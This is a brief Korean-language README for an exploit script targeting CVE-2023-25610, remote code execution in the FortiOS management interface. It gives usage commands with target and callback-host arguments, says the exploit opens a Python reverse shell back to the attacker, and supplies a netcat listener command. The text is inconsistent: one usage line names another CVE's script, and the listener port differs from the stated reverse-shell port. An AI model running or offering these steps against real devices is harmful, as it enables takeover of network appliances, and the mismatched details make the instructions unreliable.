CVE-2023-25610

FortiOS 관리 인터페이스의 힙 메모리 언더플로우로 인한 원격 코드 실행.

범위 및 제한

1. Fortinet 6.x
2. TLSv1.3 기반, 다른 TLS 버전에서는 차이가 있을 수 있음

사용법

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

리스너

EXP는 포트 31337에서 파이썬 명령으로 리버스 셸을 설정합니다.

nc -lvnp 31226